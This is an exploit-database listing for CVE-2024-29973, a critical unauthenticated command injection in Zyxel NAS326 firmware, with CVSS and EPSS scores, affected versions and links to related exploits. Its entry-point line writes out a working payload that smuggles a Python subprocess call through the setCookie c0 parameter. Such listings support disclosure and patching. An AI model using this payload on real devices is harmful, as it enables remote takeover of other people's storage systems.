Exploit for OS Command Injection in Zyxel Nas326 Firmware

CVE-2024-29973

githubexploit · 2024-06-19

Description

Exploit for OS command injection in Zyxel Nas326 firmware tied to CVE-2024-29973.

Entry point

Parameterc0 · query param

Path/cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)%2Band+False+or+__import__("subprocess").check_output("id",+shell=True)%23

Command injection via setCookie parameter in Zyxel NAS firmware (CVE-2024-29973)

Affected Zyxel nas326 Firmware versions

Zyxel nas326 Firmware< 5.21\(aazf.17\)c0

All known vulnerabilities by product

Zyxel Nas326 Zyxel Nas542

CVSS 9.8 for CVE-2024-29973

9.8

HIGH SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:NONE

Scope:UNCHANGED

Confidentiality:HIGH

Integrity:HIGH

Availability:HIGH

Working code

99%confidence this exploit runs

Based on 2 file(s) in the source

EPSS Score

86.1%higher than 99.7% of all CVEs

Updated 2026-07-06

Exploit Details

Modified:2024-06-20 04:21

Last Seen:2025-09-06 13:10

Reporter:momika233

Last commit:2024-06-19

Other exploits for CVE-2024-29973

CVE-2024-29973

2026-09-07 KitPloitKITPLOIT

CVE-2024-29973

2026-09-07 KitPloitKITPLOIT

CVE-2024-29973

2026-09-07 KitPloitKITPLOIT

CVE-2024-29973

2026-09-06 KitPloitKITPLOIT

CVE-2024-29973

2026-09-05 KitPloitKITPLOIT

CVE-2024-29973

2026-09-04 KitPloitKITPLOIT

CVE-2024-29973

2026-09-01 KitPloitKITPLOIT

Exploit for OS Command Injection in Zyxel Nas326_Firmware

2024-10-10 skyrowalkerGITHUB

Exploit Code

README2 lines

## https://sploitus.com/exploit?id=6B5FF270-41A5-5903-AD02-07BF58C1E5AE
# CVE-2024-29973

Exploit Code

Share

Share on social media: